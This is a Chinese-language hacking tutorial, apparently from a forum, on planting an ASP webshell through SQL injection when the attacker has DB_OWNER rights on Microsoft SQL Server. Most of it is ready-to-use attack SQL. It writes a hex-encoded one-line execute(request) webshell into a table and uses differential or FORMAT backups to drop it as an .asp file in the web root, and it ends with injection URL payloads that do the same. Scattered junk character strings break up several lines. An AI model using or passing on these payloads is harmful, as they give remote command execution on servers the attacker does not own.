DB_OWNER权限得到webshell的改进办法

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DB_OWNER权限得到webshell的两点改进:

0 L2 a# ?& V: M% Q减少备份文件大小，得到可执行的webshell成功率提高不少
; X9 p  e/ r7 T& d# a! w一利用差异备份
- s) K$ R& ?$ z加一个参数WITH DIFFERENTIAL

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! ?9 L1 z$ v# H! W declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
. L6 ~1 P# {6 Y  z' _, Einsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
1 d8 f; A: l. }9 K* l加一个参数WITH FROMAT
4 ~/ Y; i$ [( Y0 G8 Y' S有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
. v7 o% N4 B9 q9 {& d# c3 Rdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

总的来说就是那么简单几句,下面以备份数据库model为例子
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0 a3 z- C% R  V" w' ~# J- v" J id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

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id=1;backup database model to disk='你的路径‘ with differential,format;--